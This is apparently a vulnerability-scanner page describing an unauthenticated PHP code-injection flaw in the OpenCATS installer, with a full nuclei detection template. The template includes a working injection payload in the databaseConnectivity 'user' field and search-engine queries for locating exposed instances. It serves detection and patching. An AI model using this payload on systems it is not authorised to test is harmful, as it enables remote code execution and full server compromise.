OpenCATS - Command Injection

highseverity

8.1CVSS score

33%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

OpenCATS prior to commit 3002a29 contains a command injection caused by injection of PHP statements into the installer AJAX endpoint's databaseConnectivity action parameter, letting unauthenticated attackers execute arbitrary code, exploit requires incomplete installation wizard.

Impact

Unauthenticated attackers can execute arbitrary PHP code remotely, leading to full system compromise.

Fix

Update to the version after commit 3002a29 or latest available version.

How to confirm it

Send: GET /ajax.php?f=install:ui&a=databaseConnectivity
Positive when: !contains(body, 'installLocked') and contains(body, 'setActiveStep') and status_code == 200
Send: POST /ajax.php?f=install:ui&a=databaseConnectivity
Positive when: status_code == 200
Send: GET /index.php
Positive when: contains(body, '{{randstr}}' + md5('{{randstr}}')) and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-27760 -u <target>

The full check

id: CVE-2026-27760

info:
  name: OpenCATS - Command Injection
  author: theamanrawat
  severity: high
  description: |
    OpenCATS prior to commit 3002a29 contains a command injection caused by injection of PHP statements into the installer AJAX endpoint's databaseConnectivity action parameter, letting unauthenticated attackers execute arbitrary code, exploit requires incomplete installation wizard.
  impact: |
    Unauthenticated attackers can execute arbitrary PHP code remotely, leading to full system compromise.
  remediation: |
    Update to the version after commit 3002a29 or latest available version.
  reference:
    - https://chocapikk.com/posts/2026/opencats-installer-rce/
    - https://github.com/opencats/OpenCATS/commit/3002a29f4c3cada1aa2c4f3d4ae4e189906606b6
    - https://github.com/opencats/OpenCATS
    - https://nvd.nist.gov/vuln/detail/CVE-2026-27760
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2026-27760
    epss-score: 0.32975
    epss-percentile: 0.98371
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 3
    vendor: opencats
    product: opencats
    shodan-query:
      - title:"opencats"
      - http.title:"opencats"
    fofa-query: title="opencats"
    google-query: intitle:"opencats"
  tags: cve,cve2026,opencats,rce,vkev

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /ajax.php?f=install:ui&a=databaseConnectivity HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "!contains(body, 'installLocked')"
          - "contains(body, 'setActiveStep')"
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        POST /ajax.php?f=install:ui&a=databaseConnectivity HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user=cats');echo+'{{randstr}}'.md5('{{randstr}}');//

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
        internal: true

  - raw:
      - |
        GET /index.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "contains(body, '{{randstr}}' + md5('{{randstr}}'))"
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from